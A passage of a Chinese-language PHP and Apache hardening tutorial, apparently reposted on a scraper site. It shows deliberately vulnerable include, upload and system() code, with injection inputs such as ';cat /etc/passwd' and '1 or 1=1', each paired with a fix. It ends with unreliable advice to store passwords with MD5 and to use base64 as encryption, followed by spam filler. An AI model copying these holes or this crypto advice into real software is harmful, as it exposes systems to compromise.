      php_admin_value open_basedir /usr/local/apache/htdocs

      /Directory

      重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會(huì)報(bào)錯(cuò):

      Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

      使用safe_mode模式也能避免這種問題,前面已經(jīng)討論過了。

      4、包含文件

      極易受攻擊的代碼片斷:

      ?

      //test_3.php

      if(file_exists($filename))

      include("$filename");

      ?

      這種不負(fù)責(zé)任的代碼會(huì)造成相當(dāng)大的危害,攻擊者用如下請(qǐng)求可以得到/etc/passwd文件:

      如果對(duì)于Unix版的PHP(Win版的PHP不支持遠(yuǎn)程打開文件)攻擊者可以在自己開了http或ftp服務(wù)的機(jī)器上建立一個(gè)包含shell命令的文件,的內(nèi)容是?passthru("ls /etc")?,那么如下的請(qǐng)求就可以在目標(biāo)主機(jī)執(zhí)行命令ls /etc:

      攻擊者甚至可以通過包含apache的日志文件access.log和error.log來得到執(zhí)行命令的代碼,不過由于干擾信息太多,有時(shí)不易成功。

      對(duì)于另外一種形式,如下代碼片斷:

      ?

      //test_4.php

      include("$lib/config.php");

      ?

      攻擊者可以在自己的主機(jī)建立一個(gè)包含執(zhí)行命令代碼的config.php文件,然后用如下請(qǐng)求也可以在目標(biāo)主機(jī)執(zhí)行命令:

      PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對(duì)包含文件名變量檢查不嚴(yán)就會(huì)對(duì)系統(tǒng)造成嚴(yán)重危險(xiǎn),可以遠(yuǎn)程執(zhí)行命令。

      解決方法:

      要求程序員包含文件里的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴(yán)格檢查要包含的文件名,絕對(duì)不能由用戶任意指定。

      如前面文件打開中限制PHP操作路徑是一個(gè)必要的選項(xiàng)。另外,如非特殊需要,一定要關(guān)閉PHP的遠(yuǎn)程文件打開功能。修改php.ini文件:

      allow_url_fopen = Off

      重啟apache。

      5、文件上傳

      php的文件上傳機(jī)制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時(shí)目錄(默認(rèn)是系統(tǒng)的臨時(shí)目錄,如:/tmp)里的一個(gè)類似phpxXuoXG的隨機(jī)臨時(shí)文件,程序執(zhí)行結(jié)束,該臨時(shí)文件也被刪除。PHP給上傳的文件定義了四個(gè)變量:(如form變量名是file,而且register_globals打開)

      $file #就是保存到服務(wù)器端的臨時(shí)文件(如/tmp/phpxXuoXG )

      $file_size #上傳文件的大小

      $file_name #上傳文件的原始名稱

      $file_type #上傳文件的類型

      推薦使用:

      $HTTP_POST_FILES[file][tmp_name]

      $HTTP_POST_FILES[file][size]

      $HTTP_POST_FILES[file][name]

      $HTTP_POST_FILES[file][type]

      這是一個(gè)最簡(jiǎn)單的文件上傳代碼:

      ?

      //test_5.php

      if(isset($upload) $file != "none") {

      copy($file, "/usr/local/apache/htdocs/upload/".$file_name);

      echo "文件".$file_name."上傳成功!點(diǎn)擊a href=\"$PHP_SELF\"繼續(xù)上傳/a";

      exit;

      }

      ?

      html

      head

      title文件上傳/title

      meta http-equiv="Content-Type" content="text/html; charset=gb2312"

      /head

      body bgcolor="#FFFFFF"

      form enctype="multipart/form-data" method="post"

      上傳文件:

      input type="file" name="file" size="30"

      input type="submit" name="upload" value="上傳"

      /form

      /body

      /html

      這樣的上傳代碼存在讀取任意文件和執(zhí)行命令的重大問題。

      下面的請(qǐng)求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個(gè)目錄必須nobody可寫)下的attack.txt文件里:

      ... ile_name=attack.txt

      然后可以用如下請(qǐng)求讀取口令文件:

      攻擊者可以把php文件拷貝成其它擴(kuò)展名,泄漏腳本源代碼。

      攻擊者可以自定義form里file_name變量的值,上傳覆蓋任意有寫權(quán)限的文件。

      攻擊者還可以上傳PHP腳本執(zhí)行主機(jī)的命令。

      解決方法:

      PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù),可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統(tǒng)文件拷貝到web目錄。

      使用$HTTP_POST_FILES數(shù)組來讀取用戶上傳的文件變量。

      嚴(yán)格檢查上傳變量。比如不允許是php腳本文件。

      把PHP腳本操作限制在web目錄可以避免程序員使用copy函數(shù)把系統(tǒng)文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。

      把PHP腳本用phpencode進(jìn)行加密,避免由于copy操作泄漏源碼。

      嚴(yán)格配置文件和目錄的權(quán)限,只允許上傳的目錄能夠讓nobody用戶可寫。

      對(duì)于上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實(shí)現(xiàn):

      Directory /usr/local/apache/htdocs/upload

      php_flag engine off

      #如果是php3換成php3_engine off

      /Directory

      重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

      6、命令執(zhí)行

      下面的代碼片斷是從PHPNetToolpack摘出,詳細(xì)的描述見:

      ?

      //test_6.php

      system("traceroute $a_query",$ret_strs);

      ?

      由于程序沒有過濾$a_query變量,所以攻擊者可以用分號(hào)來追加執(zhí)行命令。

      攻擊者輸入如下請(qǐng)求可以執(zhí)行cat /etc/passwd命令:

      ;cat /etc/passwd

      PHP的命令執(zhí)行函數(shù)還有system(), passthru(), popen()和``等。命令執(zhí)行函數(shù)非常危險(xiǎn),慎用。如果要使用一定要嚴(yán)格檢查用戶輸入。

      解決方法:

      要求程序員使用escapeshellcmd()函數(shù)過濾用戶輸入的shell命令。

      啟用safe_mode可以杜絕很多執(zhí)行命令的問題,不過要注意PHP的版本一定要是最新的,小于PHP-4.2.2的都可能繞過safe_mode的限制去執(zhí)行命令。

      7、sql_inject

      如下的SQL語句如果未對(duì)變量進(jìn)行處理就會(huì)存在問題:

      select * from login where user=$user and pass=$pass

      攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗(yàn)證。

      不過幸虧PHP有一個(gè)默認(rèn)的選項(xiàng)magic_quotes_gpc = On,該選項(xiàng)使得從GET, POST, COOKIE來的變量自動(dòng)加了addslashes()操作。上面SQL語句變成了:

      select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

      從而避免了此類sql_inject攻擊。

      對(duì)于數(shù)字類型的字段,很多程序員會(huì)這樣寫:

      select * from test where id=$id

      由于變量沒有用單引號(hào)擴(kuò)起來,就會(huì)造成sql_inject攻擊。幸虧MySQL功能簡(jiǎn)單,沒有sqlserver等數(shù)據(jù)庫有執(zhí)行命令的SQL語句,而且PHP的mysql_query()函數(shù)也只允許執(zhí)行一條SQL語句,所以用分號(hào)隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯(cuò),泄漏系統(tǒng)的一些信息,或者一些意想不到的情況。

      解決方法:

      要求程序員對(duì)所有用戶提交的要放到SQL語句的變量進(jìn)行過濾。

      即使是數(shù)字類型的字段,變量也要用單引號(hào)擴(kuò)起來,MySQL自己會(huì)把字串處理成數(shù)字。

      在MySQL里不要給PHP程序高級(jí)別權(quán)限的用戶,只允許對(duì)自己的庫進(jìn)行操作,這也避免了程序出現(xiàn)問題被 SELECT INTO OUTFILE ... 這種攻擊。

      8、警告及錯(cuò)誤信息

      PHP默認(rèn)顯示所有的警告及錯(cuò)誤信息:

      error_reporting = E_ALL ~E_NOTICE

      display_errors = On

      在平時(shí)開發(fā)調(diào)試時(shí)這非常有用,可以根據(jù)警告信息馬上找到程序錯(cuò)誤所在。

      正式應(yīng)用時(shí),警告及錯(cuò)誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進(jìn)一步攻擊提供了有利的信息。而且由于自己沒有訪問到錯(cuò)誤的地方,反而不能及時(shí)修改程序的錯(cuò)誤。所以把PHP的所有警告及錯(cuò)誤信息記錄到一個(gè)日志文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯(cuò)誤所在。

      修改php.ini中關(guān)于Error handling and logging部分內(nèi)容:

      error_reporting = E_ALL

      display_errors = Off

      log_errors = On

      error_log = /usr/local/apache/logs/php_error.log

      然后重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

      9、disable_functions

      如果覺得有些函數(shù)還有威脅,可以設(shè)置php.ini里的disable_functions(這個(gè)選項(xiàng)不能在httpd.conf里設(shè)置),比如:

      disable_functions = phpinfo, get_cfg_var

      可以指定多個(gè)函數(shù),用逗號(hào)分開。重啟apache后,phpinfo, get_cfg_var函數(shù)都被禁止了。建議關(guān)閉函數(shù)phpinfo, get_cfg_var,這兩個(gè)函數(shù)容易泄漏服務(wù)器信息,而且沒有實(shí)際用處。

      10、disable_classes

      這個(gè)選項(xiàng)是從PHP-4.3.2開始才有的,它可以禁用某些類,如果有多個(gè)用逗號(hào)分隔類名。disable_classes也不能在httpd.conf里設(shè)置,只能在php.ini配置文件里修改。

      11、open_basedir

      前面分析例程的時(shí)候也多次提到用open_basedir對(duì)腳本操作路徑進(jìn)行限制,這里再介紹一下它的特性。用open_basedir指定的限制實(shí)際上是前綴,不是目錄名。也就是說 "open_basedir = /dir/incl" 也會(huì)允許訪問 "/dir/include" 和 "/dir/incls",如果它們存在的話。如果要將訪問限制在僅為指定的目錄,用斜線結(jié)束路徑名。例如:"open_basedir = /dir/incl/"。

      可以設(shè)置多個(gè)目錄,在Windows中,用分號(hào)分隔目錄。在任何其它系統(tǒng)中用冒號(hào)分隔目錄。作為Apache模塊時(shí),父目錄中的open_basedir路徑自動(dòng)被繼承。

      四、其它安全配置

      1、取消其它用戶對(duì)常用、重要系統(tǒng)命令的讀寫執(zhí)行權(quán)限

      一般管理員維護(hù)只需一個(gè)普通用戶和管理用戶,除了這兩個(gè)用戶,給其它用戶能夠執(zhí)行和訪問的東西應(yīng)該越少越好,所以取消其它用戶對(duì)常用、重要系統(tǒng)命令的讀寫執(zhí)行權(quán)限能在程序或者服務(wù)出現(xiàn)漏洞的時(shí)候給攻擊者帶來很大的迷惑。記住一定要連讀的權(quán)限也去掉,否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執(zhí)行。

      如果要取消某程如果是在chroot環(huán)境里,這個(gè)工作比較容易實(shí)現(xiàn),否則,這項(xiàng)工作還是有些挑戰(zhàn)的。因?yàn)槿∠恍┏绦虻膱?zhí)行權(quán)限會(huì)導(dǎo)致一些服務(wù)運(yùn)行不正常。PHP的mail函數(shù)需要/bin/sh去調(diào)用sendmail發(fā)信,所以/bin/bash的執(zhí)行權(quán)限不能去掉。這是一項(xiàng)比較累人的工作,

      2、去掉apache日志其它用戶的讀權(quán)限

      apache的access-log給一些出現(xiàn)本地包含漏洞的程序提供了方便之門。通過提交包含PHP代碼的URL,可以使access-log包含PHP代碼,那么把包含文件指向access-log就可以執(zhí)行那些PHP代碼,從而獲得本地訪問權(quán)限。

      如果有其它虛擬主機(jī),也應(yīng)該相應(yīng)去掉該日志文件其它用戶的讀權(quán)限。

      當(dāng)然,如果你按照前面介紹的配置PHP那么一般已經(jīng)是無法讀取日志文件了。

      PHP如何進(jìn)行加密 實(shí)現(xiàn)數(shù)據(jù)安全

      如果是不可逆,如儲(chǔ)存密碼,可以使用MD5加密,

      如果要可逆加密,可以使用base64加密,自己寫算法


      網(wǎng)站欄目:php數(shù)據(jù)安全校驗(yàn),PHP驗(yàn)證
      轉(zhuǎn)載源于:http://www.ef60e0e.cn/article/phpddo.html
      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区
      1. <ul id="0c1fb"></ul>

        <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
        <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

        内丘县| 葵青区| 开封市| 津南区| 苍溪县| 德钦县| 光泽县| 新和县| 怀仁县| 和田县| 永兴县| 藁城市| 西贡区| 西吉县| 松桃| 延安市| 澄城县| 乐至县| 台山市| 武穴市| 临清市| 博野县| 维西| 宝鸡市| 宝应县| 宜宾县| 礼泉县| 筠连县| 宣汉县| 黔南| 汉川市| 江门市| 千阳县| 潍坊市| 阿巴嘎旗| 高邑县| 临泽县| 五大连池市| 洛川县| 丹棱县| 高唐县|